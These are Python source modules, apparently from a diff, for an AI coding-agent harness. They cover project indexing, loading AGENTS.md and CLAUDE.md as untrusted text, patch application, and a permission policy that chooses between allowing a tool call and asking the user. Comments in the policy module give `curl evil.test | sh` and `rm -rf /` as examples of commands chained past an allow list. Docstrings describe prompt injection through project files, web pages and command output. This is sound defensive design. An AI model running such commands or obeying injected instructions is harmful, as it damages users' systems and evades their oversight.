paths, total, truncated = _collect(result.output)
if not paths:
return None
return ProjectIndex(
paths=paths, total=total, truncated=truncated or result.truncated, source="git"
)
def _find_command() -> str:
prunes = " -o ".join(f"-name {name!r}" for name in IGNORED)
# -print rather than -print0: the output is read as text either way, and a
# filename containing a newline splits into two entries that resolve to
# nothing rather than into anything dangerous.
return f"find . \\( {prunes} \\) -prune -o -print 2>/dev/null"
async def _from_find(executor: Executor, project_dir: str) -> ProjectIndex | None:
result = await executor.run(
ExecRequest(
command=_find_command(),
cwd=project_dir,
timeout=BUILD_TIMEOUT,
max_bytes=MAX_OUTPUT,
)
)
if not result.output.strip():
return None
paths, total, truncated = _collect(result.output)
if not paths:
return None
return ProjectIndex(
paths=paths, total=total, truncated=truncated or result.truncated, source="find"
)
async def _from_sftp(executor: Executor, project_dir: str) -> ProjectIndex:
"""The one that always works, and the one that is slow.
Bounded twice over -- by depth and by how many directories it will open --
because this is a network round trip per directory and an unbounded walk of
a home directory would take minutes to produce something unusable.
"""
found: list[str] = []
opened = 0
queue: list[tuple[str, int]] = [("", 0)]
while queue and opened < SFTP_MAX_DIRS and len(found) < MAX_ENTRIES:
where, depth = queue.pop(0)
opened += 1
try:
entries = await executor.scan_dir(where or project_dir)
except ExecError:
continue
for entry in entries:
if entry.name in IGNORED:
continue
path = f"{where}/{entry.name}" if where else entry.name
found.append(path + "/" if entry.is_dir else path)
if entry.is_dir and depth + 1 < SFTP_MAX_DEPTH:
queue.append((path, depth + 1))
paths, total, truncated = _collect("\n".join(found))
return ProjectIndex(
paths=paths,
total=total,
truncated=truncated or bool(queue),
source="sftp",
)
async def build(executor: Executor, project_dir: str) -> ProjectIndex:
"""Walk the directory, by whichever means works first."""
started = time.monotonic()
try:
found = None
for attempt in (_from_git, _from_find):
try:
found = await attempt(executor, project_dir)
except ExecError as exc:
# A rung that cannot run at all is a rung that did not answer,
# not the end of the ladder. A host that refuses exec entirely
# -- an SFTP-only account, a forced command -- is the exact case
# the SFTP rung below exists for, and letting this out skipped
# straight past it to an empty listing.
log.debug("indexing %s: %s did not run: %s", project_dir, attempt.__name__,
exc.message)
found = None
if found is not None:
break
if found is None:
found = await _from_sftp(executor, project_dir)
except ExecError as exc:
log.info("could not index %s: %s", project_dir, exc.message)
return ProjectIndex(built_at=time.monotonic())
log.debug(
"indexed %s: %d paths by %s in %dms",
project_dir,
len(found.paths),
found.source,
int((time.monotonic() - started) * 1000),
)
return ProjectIndex(
paths=found.paths,
total=found.total,
truncated=found.truncated,
source=found.source,
built_at=time.monotonic(),
)
# --- The cache ---------------------------------------------------------------
# Keyed on the connection and the directory, not the chat: two chats on the same
# box in the same tree are looking at the same files, and indexing it twice
# would double the cost to prove it.
_CACHE: dict[tuple[str, str], ProjectIndex] = {}
_BUILDING: dict[tuple[str, str], asyncio.Task] = {}
def cached(profile_id: str, project_dir: str) -> ProjectIndex | None:
"""What is already known, or None. Never does any work.
`harness.context_variables` is synchronous and sits on the request path, so
it may only ever call this -- an SFTP round trip from there would block a
request while somebody's box thought about it.
"""
found = _CACHE.get((profile_id, project_dir))
if found is None:
return None
if time.monotonic() - found.built_at > TTL:
_CACHE.pop((profile_id, project_dir), None)
return None
return found
async def ensure(
executor: Executor, profile_id: str, project_dir: str, *, refresh: bool = False
) -> ProjectIndex:
"""The index, building it if there is not a fresh one already.
Concurrent callers share one build. A reply and the `@` picker asking at
the same moment is the ordinary case, not a rare one, and two walks of the
same tree would be two of everything for one answer.
"""
key = (profile_id, project_dir)
if refresh:
_CACHE.pop(key, None)
elif (found := cached(profile_id, project_dir)) is not None:
return found
if (running := _BUILDING.get(key)) is not None:
return await asyncio.shield(running)
task = asyncio.create_task(build(executor, project_dir))
_BUILDING[key] = task
try:
found = await task
finally:
_BUILDING.pop(key, None)
_CACHE[key] = found
while len(_CACHE) > MAX_CACHED:
_CACHE.pop(next(iter(_CACHE)))
return found
# --- Rendering ---------------------------------------------------------------
# A tree that lists a thousand files is worse than no tree: it costs the window
# on every request forever and buries the four names that mattered. So the
# rendering has a character budget and elides what will not fit, saying how much
# it elided -- a directory shown as `src/vendor/ (412 files)` is a model being
# told where to look, which is the useful half of listing it.
INDENT = " "
# Below this a directory is never collapsed. Elision costs a line either way, so
# collapsing three files into "(3 files)" saves nothing and loses everything.
ALWAYS_SHOW = 4
def _tree(paths: tuple[str, ...]) -> dict:
root: dict = {}
for path in paths:
node = root
parts = [part for part in path.rstrip("/").split("/") if part]
for part in parts[:-1]:
node = node.setdefault(part, {})
if not isinstance(node, dict): # a file and a directory share a name
break
else:
if parts:
leaf = parts[-1]
if path.endswith("/"):
node.setdefault(leaf, {})
else:
node.setdefault(leaf, None)
return root
def _files_under(node: dict) -> int:
total = 0
for child in node.values():
total += _files_under(child) if isinstance(child, dict) else 1
return total
def _candidates(node: dict, prefix: str, depth: int, out: list) -> None:
"""Every directory, with what collapsing it would save."""
for name, child in node.items():
if not isinstance(child, dict):
continue
path = f"{prefix}{name}/"
count = _files_under(child)
full = _cost(child, depth + 1)
collapsed = len(f" ({count} files)")
if count > ALWAYS_SHOW and full > collapsed:
out.append((depth, count, path, full - collapsed))
_candidates(child, path, depth + 1, out)
def _cost(node: dict, depth: int) -> int:
"""Roughly how many characters rendering this subtree in full would take."""
total = 0
for name, child in node.items():
total += len(INDENT) * (depth + 1) + len(name) + 2
if isinstance(child, dict):
total += _cost(child, depth + 1)
return total
def _plan(root: dict, budget: int) -> set[str]:
"""Which directories to show as a count, so the rest fits.
Deepest and largest first. Collapsing by saving alone would take `src/`
before `src/web/static/vendor/` -- it is bigger, because it *contains* it --
and lose every name worth having to save one directory of hash-pinned
third-party files. Depth is the proxy for "further from what somebody was
looking for", and it is a good one.
"""
if _cost(root, 0) <= budget:
return set()
candidates: list[tuple[int, int, str, int]] = []
_candidates(root, "", 0, candidates)
candidates.sort(key=lambda item: (-item[0], -item[1]))
chosen: dict[str, int] = {}
saved = 0
total = _cost(root, 0)
for _depth, _count, path, saving in candidates:
if total - saved <= budget:
break
# A directory inside one already collapsed is not rendered at all, so
# collapsing it saves nothing.
if any(path.startswith(done) for done in chosen):
continue
# And a directory *containing* one already collapsed subsumes it. Its
# own saving is measured against the full subtree, so the descendant's
# has to come back off or the two are counted twice -- which stopped
# the loop early believing it had made room it had not.
for inside in [done for done in chosen if done.startswith(path)]:
saved -= chosen.pop(inside)
chosen[path] = saving
saved += saving
return set(chosen)
def _lines(
node: dict, prefix: str, depth: int, collapsed: set[str], budget: list[int]
) -> list[str]:
out: list[str] = []
# Files before directories at each level: the shallow names are the ones
# somebody would recognise, and if the budget runs out mid-tree they are
# the ones worth having spent it on.
files = sorted(name for name, child in node.items() if not isinstance(child, dict))
folders = sorted(name for name, child in node.items() if isinstance(child, dict))
for position, name in enumerate(files):
line = f"{INDENT * depth}{name}"
if budget[0] < len(line) + 1:
out.append(f"{INDENT * depth}{len(files) - position} more files")
budget[0] = 0
return out
budget[0] -= len(line) + 1
out.append(line)
for name in folders:
child = node[name]
path = f"{prefix}{name}/"
header = f"{INDENT * depth}{name}/"
if path in collapsed:
line = f"{header} ({_files_under(child)} files)"
budget[0] -= len(line) + 1
out.append(line)
continue
if budget[0] < len(header) + 1:
return out
budget[0] -= len(header) + 1
out.append(header)
out.extend(_lines(child, path, depth + 1, collapsed, budget))
return out
def render(index: ProjectIndex, budget: int) -> str:
"""The listing as the model sees it, inside `budget` characters.
Returns "" when there is nothing to say, so the fragment carrying it can
vanish entirely rather than appear as an empty heading -- which is what
`Fragment.requires` is for.
"""
if not index.ok or budget <= 0:
return ""
root = _tree(index.paths)
collapsed = _plan(root, budget)
# The plan has already made it fit, so this is a backstop rather than the
# mechanism -- with enough slack that an estimate a little off does not
# truncate a listing that was fine. What it is really for is the one shape
# collapsing cannot help with: five thousand files directly in the root,
# where there is no directory to fold them into.
remaining = [int(budget * 1.5) + 200]
lines = _lines(root, "", 0, collapsed, remaining)
if not lines:
return ""
note = ""
if index.truncated:
note = (
f"\n\nThere are more than {len(index.paths)} entries here; this is the "
"first of them, so treat it as a sample rather than the whole tree."
)
elif collapsed:
note = (
"\n\nDirectories shown with a count were left unopened to save room. "
"Use `file_list` to look inside one."
)
return "\n".join(lines) + note
def forget(profile_id: str) -> int:
"""Drop everything indexed through one connection.
Called when a profile is deleted, disabled or has its host key forgotten --
the same moments that close its terminals. Keeping a listing of a machine
somebody has just revoked would be a small leak of exactly the kind the
rest of this module is careful about.
"""
doomed = [key for key in _CACHE if key[0] == profile_id]
for key in doomed:
_CACHE.pop(key, None)
return len(doomed)
def forget_dir(profile_id: str, project_dir: str) -> None:
"""Drop one tree's listing, because something just changed it.
The TTL exists for drift nobody can see coming. A write through `file_write`
is not that: it is this process changing the tree it has just described, and
leaving five minutes of a listing that is known to be wrong is worse than
having none -- a model reading it concludes the file it created is missing.
"""
_CACHE.pop((profile_id, project_dir), None)
def clear() -> None:
_CACHE.clear()
__all__ = [
"MAX_ENTRIES",
"ProjectIndex",
"build",
"cached",
"clear",
"ensure",
"forget",
"forget_dir",
"render",
]
+212
View File
@@ -0,0 +1,212 @@
"""The project's own notes on how to work in it — AGENTS.md, CLAUDE.md.
A file in the root of the project directory, read once per reply and put in the
system message. Everything about the shape of this module is copied from
`index.py`, and for the same three reasons:
* **`cached()` never does work.** `harness.context_variables` is synchronous and
runs on the request path, so an SFTP round trip from there would hold a
request open while somebody's box thought about it. The build happens in
`generation._warm_project`, which is async and already doing network work.
* **`ensure()` shares one build between concurrent callers**, via `_BUILDING`
and `asyncio.shield`.
* **Each name catches its own `ExecError`.** This is the ladder lesson from
`index.py` arriving before the bug does: an `AGENTS.md` that cannot be read --
a permission, an SFTP-only account, a directory where a file was expected --
must not stop `CLAUDE.md` being tried.
The contents are **untrusted**, and go into the *system* message of a chat that
can run commands. Nothing here can fix that; what does is the wording of the
`context.agent_instructions` fragment, which names where the file came from and
bounds what it is allowed to do. Two things are done here: control characters
are stripped, and backticks are neutralised so the file cannot close the fence
it is put inside and start writing what looks like our own prose.
"""
from __future__ import annotations
import asyncio
import logging
import posixpath
import re
import time
from dataclasses import dataclass
from lembas.services.agent.base import ExecError, Executor
log = logging.getLogger(__name__)
# In order. AGENTS.md first because it is the vendor-neutral convention a shared
# repository is likeliest to carry; CLAUDE.md next because it is the one most
# widely written in practice. Root only, no recursion: a per-directory
# convention is a different feature with a different cost model.
NAMES = ("AGENTS.md", "CLAUDE.md", "AGENT.md", ".agents.md")
TTL = 300.0
MAX_CACHED = 64
# The default ceiling on what reaches the prompt. The admin setting wins.
MAX_CHARS = 4000
_CONTROL = re.compile(r"[\x00-\x08\x0b\x0c\x0e-\x1f\x7f-\x9f]")
@dataclass(frozen=True)
class Instructions:
"""What was found in the project root, and where."""
filename: str = ""
text: str = ""
built_at: float = 0.0
@property
def ok(self) -> bool:
return bool(self.filename and self.text.strip())
def clean(raw: str) -> str:
"""Made safe to put inside a fenced block in a system message."""
text = _CONTROL.sub("", raw).replace("\r\n", "\n").replace("\r", "\n")
# It must not be able to close our fence and carry on in what then reads as
# our own voice. Replaced rather than escaped: this is a display of somebody
# else's file, not a round trip.
return text.replace("```", "'''")
async def build(executor: Executor, budget: int = MAX_CHARS) -> Instructions:
"""Look for each name in turn, and stop at the first one that reads."""
for name in NAMES:
try:
# Four bytes a character is generous for UTF-8 prose and stops a
# two-megabyte file being pulled across to be thrown away.
raw = await executor.read_file(name, max_bytes=max(budget, 1) * 4)
except ExecError:
# Its own catch, per name. A rung that raises must not end the
# ladder -- that bug has already been paid for once in index.py.
continue
except Exception: # noqa: BLE001 - a warm-up must never kill a reply
log.debug("could not read %s", name, exc_info=True)
continue
text = clean(raw)
if text.strip():
return Instructions(filename=name, text=text, built_at=time.monotonic())
return Instructions(built_at=time.monotonic())
# --- The cache ---------------------------------------------------------------
# Keyed on the connection and the directory, exactly as the listing is: two
# chats on one tree are looking at the same file.
_CACHE: dict[tuple[str, str], Instructions] = {}
_BUILDING: dict[tuple[str, str], asyncio.Task] = {}
def cached(profile_id: str, project_dir: str) -> Instructions | None:
"""What is already known, or None. Never does any work.
A miss is not "there is no file" -- it is "nobody has looked yet", and the
fragment's `requires` turns both into the same thing: no section at all.
"""
found = _CACHE.get((profile_id, project_dir))
if found is None:
return None
if time.monotonic() - found.built_at > TTL:
_CACHE.pop((profile_id, project_dir), None)
return None
return found
async def ensure(
executor: Executor,
profile_id: str,
project_dir: str,
*,
budget: int = MAX_CHARS,
refresh: bool = False,
) -> Instructions:
key = (profile_id, project_dir)
if refresh:
_CACHE.pop(key, None)
elif (found := cached(profile_id, project_dir)) is not None:
return found
if (running := _BUILDING.get(key)) is not None:
return await asyncio.shield(running)
task = asyncio.create_task(build(executor, budget))
_BUILDING[key] = task
try:
found = await task
finally:
_BUILDING.pop(key, None)
_CACHE[key] = found
while len(_CACHE) > MAX_CACHED:
_CACHE.pop(next(iter(_CACHE)))
return found
def is_instruction_file(path: str, project_dir: str) -> bool:
"""Whether a written path is the file this module caches.
Resolved against the project directory rather than matched on the basename,
so `./AGENTS.md`, `AGENTS.md` and `/work/AGENTS.md` are all it and
`docs/AGENTS.md` is not -- root only, the same rule `build` follows. A
basename match would drop the cache every time any subdirectory's own
AGENTS.md was touched, which is a fetch nobody asked for.
"""
wanted = path.strip()
if not wanted:
return False
if not posixpath.isabs(wanted) and project_dir:
wanted = posixpath.join(project_dir, wanted)
wanted = posixpath.normpath(wanted)
return any(
wanted == posixpath.normpath(posixpath.join(project_dir or "", name)) for name in NAMES
)
def forget(profile_id: str, project_dir: str) -> None:
"""Drop it, because something just rewrote it.
The one case the TTL cannot cover: this process changing the file it has
just quoted. Unlike the directory listing, an *edit* counts here as much as
a write -- the listing only cares that the file exists, this cares what is
in it.
"""
_CACHE.pop((profile_id, project_dir), None)
def clear() -> None:
_CACHE.clear()
def render(found: Instructions | None, budget: int) -> str:
"""The text, within the budget, cut at a line boundary."""
if found is None or not found.ok or budget <= 0:
return ""
text = found.text.strip()
if len(text) <= budget:
return text
cut = text[:budget]
at = cut.rfind("\n")
if at > budget // 2:
cut = cut[:at]
return f"{cut.rstrip()}\n… (truncated)"
__all__ = [
"MAX_CHARS",
"NAMES",
"TTL",
"Instructions",
"build",
"cached",
"clean",
"clear",
"ensure",
"forget",
"is_instruction_file",
"render",
]
+286
View File
@@ -0,0 +1,286 @@
"""Applying a unified diff, and rendering one.
`difflib` produces a unified diff and cannot apply one, so `render` uses it and
`apply` is written here. No new dependency: hard rule 1 is about the browser,
but a patch applier is fifty lines and pulling a package in for it would be
worse than the fifty lines.
Four behaviours carry the whole module, and each of them exists because of how
models actually write patches rather than how the format is specified.
**Fuzzy offset, exact content.** A hunk's `@@ -41,7 +41,8 @@` is a hint and
nothing more. Models get line numbers wrong constantly -- they count from a
truncated read, or from the file as it was three edits ago -- and get the
context lines right. So the hinted position is tried first and then the file is
scanned outward for an exact match of the context block. One match wins; more
than one refuses, because guessing which of two identical blocks was meant is
the one failure that silently corrupts a file.
**Line endings are normalised in and restored out.** A CRLF file otherwise
fails on every single hunk, on context that looks identical in the error
message, which is unfixable from the model's side.
**A blank context line may have lost its leading space.** Trailing whitespace
is stripped by half the things a model's output passes through, so `""` is read
as a blank context line rather than as a malformed one.
**Nothing is written unless every hunk applies.** The new text is built whole in
memory and handed back; a half-applied file is worse than a refused one, and the
model cannot tell the difference without reading it again.
"""
from __future__ import annotations
import difflib
import re
from dataclasses import dataclass
# A patch bigger than this is a rewrite wearing a diff's clothes, and
# `file_write` is the tool for that.
MAX_HUNKS = 60
# How far either side of the hinted line to look for the context block. Wide
# enough for a file that has grown a few hundred lines since the model read it,
# narrow enough that an accidental match is unlikely.
MAX_DRIFT = 200
_HEADER = re.compile(r"^@@\s*-(\d+)(?:,(\d+))?\s+\+(\d+)(?:,(\d+))?\s*@@")
_NO_NEWLINE = "\\ No newline at end of file"
class PatchError(Exception):
"""A patch that did not apply, said precisely enough to retry from."""
def __init__(self, message: str, *, hunk: int = 0) -> None:
super().__init__(message)
self.message = message
self.hunk = hunk
@dataclass(frozen=True)
class Hunk:
old_start: int
old_count: int
new_start: int
new_count: int
# Each line still carrying its ' ', '+' or '-'.
lines: tuple[str, ...]
# A `\ No newline at end of file` marker followed a line this hunk *adds*,
# so the result is meant to end without one. Honoured only when the hunk
# actually reaches the end of the file -- git emits the marker for the old
# side too, and reading that as an instruction would strip a newline the
# patch never touched.
ends_without_newline: bool = False
@property
def before(self) -> tuple[str, ...]:
"""The lines this hunk expects to find, without their markers."""
return tuple(line[1:] for line in self.lines if line[:1] in (" ", "-"))
@property
def after(self) -> tuple[str, ...]:
return tuple(line[1:] for line in self.lines if line[:1] in (" ", "+"))
def parse(patch: str) -> list[Hunk]:
"""Read a unified diff into hunks.
File headers are tolerated and ignored -- `diff --git`, `index`, `---`,
`+++` -- because models emit them by habit and refusing would cost a round
trip to say so. The `@@` header is required: without one there is nothing to
anchor against, and the resulting error is at least mechanical to fix.
"""
hunks: list[Hunk] = []
state: dict = {"header": None, "body": [], "bare": False}
def flush() -> None:
if state["header"] is None:
return
hunks.append(
Hunk(
*state["header"],
lines=tuple(state["body"]),
ends_without_newline=state["bare"],
)
)
state["header"] = None
state["body"] = []
state["bare"] = False
body = (patch or "").replace("\r\n", "\n").replace("\r", "\n").split("\n")
# The patch's own final newline, not a blank context line. Without this every
# well-formed patch acquires one phantom line of context at the end and
# matches nothing -- which looks exactly like the model getting it wrong.
if body and body[-1] == "":
body.pop()
for raw in body:
matched = _HEADER.match(raw)
if matched:
flush()
state["header"] = (
int(matched.group(1)),
int(matched.group(2) or 1),
int(matched.group(3)),
int(matched.group(4) or 1),
)
continue
if state["header"] is None:
# Preamble. Anything before the first @@ is a file header we do not
# need: the path is a parameter, not something read out of the diff.
continue
if raw.startswith(_NO_NEWLINE):
# It describes whichever side the line above belonged to. Only the
# new side is an instruction; the old side is a description of the
# file we are about to read for ourselves.
if state["body"] and state["body"][-1][:1] in ("+", " "):
state["bare"] = True
continue
if raw[:1] in ("+", "-", " "):
state["body"].append(raw)
elif raw == "":
# A blank line that lost its leading space. Common enough to be the
# normal case rather than an exceptional one.
state["body"].append(" ")
else:
# A stray line inside a hunk -- a second `diff --git`, a signature.
# Ends the hunk rather than corrupting it.
flush()
flush()
if not hunks:
raise PatchError(
"That patch has no hunks. A patch needs at least one "
"`@@ -old,count +new,count @@` header, followed by the lines to "
"change: ' ' for context, '-' to remove, '+' to add."
)
if len(hunks) > MAX_HUNKS:
raise PatchError(
f"That patch has {len(hunks)} hunks, and {MAX_HUNKS} is the most "
f"that will be applied at once. Rewrite the file with file_write "
f"instead, or send the change in pieces."
)
return hunks
def _find(lines: list[str], wanted: tuple[str, ...], hint: int, floor: int) -> int:
"""Where `wanted` sits in `lines`, at or after `floor`. Raises if unclear."""
if not wanted:
# A pure insertion has no context to match. The hint is all there is.
return max(floor, min(hint, len(lines)))
span = len(wanted)
if hint >= floor and lines[hint : hint + span] == list(wanted):
return hint
matches = [
at
for at in range(max(floor, hint - MAX_DRIFT), min(len(lines) - span, hint + MAX_DRIFT) + 1)
if lines[at : at + span] == list(wanted)
]
if len(matches) == 1:
return matches[0]
if len(matches) > 1:
raise PatchError(
f"Those context lines appear {len(matches)} times in the file, and "
f"the line numbers in the hunk header do not point at any of them, "
f"so there is no way to tell which was meant. Include more "
f"unchanged lines around the change."
)
raise PatchError("") # Filled in by the caller, which knows the hunk number.
def apply(text: str, hunks: list[Hunk]) -> str:
"""The file with every hunk applied, or a PatchError naming the first that
would not.
Hunks are applied in order against a cursor, so one cannot match inside
territory an earlier one already consumed -- which is what a duplicated or
overlapping hunk would otherwise do, applying the same change twice.
"""
crlf = "\r\n" in text
lines = text.replace("\r\n", "\n").replace("\r", "\n").split("\n")
trailing = lines and lines[-1] == ""
if trailing:
lines.pop()
out: list[str] = []
cursor = 0
reached_end = False
for number, hunk in enumerate(hunks, start=1):
wanted = hunk.before
# A pure insertion names the line it goes *after*, not the line it
# replaces, so it is not off by one the way every other hunk is.
hint = hunk.old_start if hunk.old_count == 0 else max(hunk.old_start - 1, 0)
try:
at = _find(lines, wanted, hint, cursor)
except PatchError as exc:
raise _mismatch(number, hunk, lines, hint, exc.message) from None
out.extend(lines[cursor:at])
out.extend(hunk.after)
cursor = at + len(wanted)
reached_end = hunk.ends_without_newline and cursor >= len(lines)
out.extend(lines[cursor:])
result = "\n".join(out)
if trailing and not reached_end:
result += "\n"
return result.replace("\n", "\r\n") if crlf else result
def _mismatch(number: int, hunk: Hunk, lines: list[str], hint: int, why: str) -> PatchError:
"""The message the model retries from, so it has to say what is actually
there rather than only that something is wrong."""
if why:
return PatchError(
f"Hunk {number} did not apply. {why} Nothing was written.", hunk=number
)
expected = next((line[1:] for line in hunk.lines if line[:1] in (" ", "-")), "")
found = lines[hint] if 0 <= hint < len(lines) else "(past the end of the file)"
return PatchError(
f"Hunk {number} did not apply. It expects line {hint + 1} to be\n"
f" {expected}\n"
f"but the file has\n"
f" {found}\n"
f"and those lines are nowhere else nearby either. Nothing was written. "
f"Read the file again and send a patch that matches it.",
hunk=number,
)
def render(before: str, after: str, path: str, *, max_lines: int = 200) -> str:
"""A unified diff of one change, for the transcript.
Bounded here rather than at render time: this ends up in
`Message.tool_calls_json`, which is on the row forever and re-parsed on
every page load, and a generated file's diff can be larger than the file.
"""
# splitlines, not split("\n"): a file's own final newline would otherwise be
# an empty last element, which difflib renders as a stray context line at
# the bottom of every diff -- and as a spurious change whenever one side has
# it and the other does not. The trailing-newline difference is invisible
# here as a result, which is right for a display and irrelevant to the write.
lines = list(
difflib.unified_diff(
before.replace("\r\n", "\n").splitlines(),
after.replace("\r\n", "\n").splitlines(),
fromfile=f"a/{path}",
tofile=f"b/{path}",
lineterm="",
n=3,
)
)
if len(lines) > max_lines:
dropped = len(lines) - max_lines
lines = lines[:max_lines] + [f"… ({dropped} more lines)"]
return "\n".join(lines)
__all__ = ["MAX_DRIFT", "MAX_HUNKS", "Hunk", "PatchError", "apply", "parse", "render"]
+231
View File
@@ -0,0 +1,231 @@
"""What an agent chat is allowed to do without asking.
Four modes, one table, indexed by what a tool does to the world. Adding a mode
is a row; adding a risk class is a column. Anything that needs an `if mode ==`
somewhere else in the codebase is a sign this table is wrong rather than that
the table is insufficient.
The important thing about all of it: **this is consulted in the generation loop,
not written into the prompt.** A mode a model is merely told about is a mode a
model can be talked out of, and everything a model reads -- a web page, a
README, the output of a command it just ran -- is untrusted text that may be
trying to do exactly that.
"""
from __future__ import annotations
import re
from dataclasses import dataclass
from fnmatch import fnmatch
from lembas.services.tools import RISK_ASK, RISK_EXECUTE, RISK_READ, RISK_WRITE
MODE_MANUAL = "manual"
MODE_EDIT = "edit"
MODE_AUTO = "auto"
MODE_PLAN = "plan"
MODES = (MODE_MANUAL, MODE_EDIT, MODE_AUTO, MODE_PLAN)
MODE_LABELS = {
MODE_MANUAL: "Manual",
MODE_EDIT: "Edit",
MODE_AUTO: "Auto",
MODE_PLAN: "Plan",
}
MODE_HINTS = {
MODE_MANUAL: "Everything is shown to you before it happens.",
MODE_EDIT: "Files are read and written freely; commands are shown to you first.",
MODE_AUTO: "Nothing is shown to you first. Only for work you would do yourself.",
MODE_PLAN: "Reads freely, changes nothing, and finishes by proposing a plan.",
}
# What the *model* is told about the mode it is in. Different words from
# MODE_HINTS, which describes it to a person: this is about how to behave, and
# says the one thing that changes what a competent model does -- that being
# stopped for approval is normal and worth batching for.
MODE_GUIDANCE = {
MODE_MANUAL: (
"You are in **Manual** mode: everything you do is shown to them for "
"approval first. Expect to be interrupted, and say what you are about "
"to do before you do it."
),
MODE_EDIT: (
"You are in **Edit** mode: you may read and write files freely, but "
"every command is shown to them for approval first. Prefer reading and "
"writing files over shelling out where both would work."
),
MODE_AUTO: (
"You are in **Auto** mode: nothing is shown to them first. That is trust "
"rather than permission — be as careful as you would be if each step "
"were being watched, and stop to say so if you find yourself about to "
"do something you could not undo."
),
MODE_PLAN: (
"You are in **Plan** mode: read and explore freely, but change nothing. "
"Research before you propose anything — read the files, run the "
"read-only commands, look at what is actually there rather than at what "
"is usually there. If the scope is genuinely ambiguous, and only then, "
"ask with ask_user before planning rather than planning for the wrong "
"thing; put everything you need into one question. Then finish with "
"plan_submit: what you found, what the work is for, and the work itself "
"as phases of concrete tasks. Anything that writes or runs will be "
"stopped for approval, so do not rely on it."
),
}
ALLOW = "allow"
ASK = "ask"
# The whole feature. Read across a row to see what a mode means.
POLICY: dict[str, dict[str, str]] = {
MODE_MANUAL: {RISK_READ: ASK, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
MODE_EDIT: {RISK_READ: ALLOW, RISK_WRITE: ALLOW, RISK_EXECUTE: ASK},
MODE_AUTO: {RISK_READ: ALLOW, RISK_WRITE: ALLOW, RISK_EXECUTE: ALLOW},
MODE_PLAN: {RISK_READ: ALLOW, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
}
# A shell metacharacter makes a command line unmatchable, so it falls through to
# the mode's own verdict rather than to an allow-list entry. Without this,
# `git *` in an allow list also matches `git status; curl evil.test | sh`, which
# is the whole ballgame. A deny list needs no such rule: failing open there
# returns you to the mode, while failing open on an allow list runs the command.
_UNSAFE = re.compile(r"[;&|<>`$\n\\()]")
@dataclass(frozen=True)
class Decision:
verdict: str
reason: str = ""
@dataclass(frozen=True)
class Limits:
"""What one agent reply may spend.
Four axes because they fail differently. Wall clock stops a single slow
command eating an afternoon; `output_bytes` stops a model filling its own
context with build logs and having no room left to answer; and
`completion_tokens` stops one that keeps writing.
`steps` is the odd one out. It is a **runaway backstop, not a working
budget** -- an agent reply is meant to run until the task is finished, and a
step count low enough to be the thing that ends it is a count that ends it
halfway. It was 40, which is a working budget, and it was reached. Anything
that wants a real ceiling should set `completion_tokens`, which measures
what a long reply actually costs.
`completion_tokens` of 0 means no ceiling, the same convention `index_chars`
uses in the settings store.
"""
steps: int = 200
wall_seconds: float = 900.0
output_bytes: int = 1024 * 1024
completion_tokens: int = 200_000
def subject(tool_name: str, command: str = "") -> str | None:
"""What a pattern is matched against, or None when nothing may match it.
For everything but a command it is the tool name, so `file_read` in an
allow list means "reading files never asks". For `shell_run` it is the
command line, normalised -- unless it contains anything that composes two
commands into one, in which case no pattern is allowed to match at all.
"""
if tool_name != "shell_run":
return tool_name
raw = command or ""
# Checked BEFORE whitespace is normalised. Collapsing runs of whitespace
# first would turn "git status\nrm -rf /" into a single innocent-looking
# line and let it match `git *` -- a newline separates two commands exactly
# as a semicolon does.
if _UNSAFE.search(raw):
return None
line = " ".join(raw.split())
return line or None
def _matches(patterns: tuple[str, ...], candidate: str | None) -> str:
if candidate is None:
return ""
for pattern in patterns:
if fnmatch(candidate, pattern):
return pattern
return ""
def decide(
*,
mode: str,
risk: str,
tool_name: str,
command: str = "",
allow: tuple[str, ...] = (),
deny: tuple[str, ...] = (),
) -> Decision:
"""What to do about one call.
The order is the design:
1. A deny wins before everything, **including Auto**. A deny list that Auto
ignores is not a deny list, it is a suggestion.
2. `ask` never resolves to allow. `ask_user` asks in every mode; that is
what the tool is for, and a mode that skipped it would answer the
model's question on the reader's behalf.
3. An allow-list hit runs it.
4. Otherwise the table.
An unrecognised mode is treated as Manual, not Auto: a row that predates a
rename has to fail towards asking.
"""
candidate = subject(tool_name, command)
hit = _matches(deny, candidate)
if hit:
return Decision(ASK, f"{hit}” is on the list of commands to always ask about.")
if risk == RISK_ASK:
return Decision(ASK, "")
if mode not in POLICY:
return Decision(ASK, f"{mode}” is not a mode I know, so I am asking.")
hit = _matches(allow, candidate)
if hit:
return Decision(ALLOW, f"{hit}” is on the list of things to allow.")
verdict = POLICY[mode].get(risk, ASK)
if verdict == ALLOW:
return Decision(ALLOW, "")
label = MODE_LABELS.get(mode, mode)
return Decision(ASK, f"{label} mode asks before anything that {_verb(risk)}.")
def _verb(risk: str) -> str:
return {
RISK_READ: "reads",
RISK_WRITE: "changes a file",
RISK_EXECUTE: "runs a command",
}.get(risk, "does this")
__all__ = [
"ALLOW",
"ASK",
"MODES",
"MODE_AUTO",
"MODE_EDIT",
"MODE_GUIDANCE",
"MODE_HINTS",
"MODE_LABELS",
"MODE_MANUAL",
"MODE_PLAN",
"POLICY",
"Decision",
"Limits",
"decide",
"subject",
]
+186
View File
@@ -0,0 +1,186 @@
"""What one agent chat is pointed at, resolved while a session is open.
Everything a runner needs travels in `AgentContext`: the machine, the decrypted
credential, the mode in force, and the two lists that adjust it. Nothing is
looked up later, for the reason `Endpoint` is a frozen copy of a `Connection`
and `ToolContext` carries an owner id rather than a `User` -- a generation
outlives the request that started it, and a detached instance is a trap.
The mode is read **once, at the start of the reply**, and deliberately does not
change under a reply already in flight. Somebody switching to Auto halfway
through must not retroactively approve what is already queued.
"""
from __future__ import annotations
import logging
from dataclasses import dataclass, field, replace
from typing import Any
from sqlalchemy.orm import Session as DBSession
from lembas.db.models import KIND_AGENT, Chat, SshProfile, User
from lembas.services import settings_store
from lembas.services.agent import policy
from lembas.services.agent import ssh as ssh_service
from lembas.services.agent.base import Executor
from lembas.services.agent.policy import Limits
log = logging.getLogger(__name__)
@dataclass
class AgentContext:
"""The machine an agent chat acts on, and what it may do there."""
chat_id: str
label: str
project_dir: str
# The connection's id, carried so a runner can drop the project listing it
# has just invalidated. `index` is keyed on the connection and the
# directory, not on the chat -- two chats on one tree share a listing.
profile_id: str = ""
mode: str = policy.MODE_MANUAL
allow: tuple[str, ...] = ()
deny: tuple[str, ...] = ()
limits: Limits = field(default_factory=Limits)
# Per-command bounds, from the instance settings.
timeout: float = 60.0
max_timeout: float = 600.0
max_output: int = 64 * 1024
# The decrypted credential. Held here and nowhere else, and cleared by
# `generation` when the reply ends -- a finished Generation lingers five
